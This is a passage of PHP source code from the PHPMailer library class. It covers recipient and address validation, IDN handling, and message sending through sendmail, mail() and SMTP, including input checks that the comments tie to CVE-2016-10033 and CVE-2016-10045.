     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
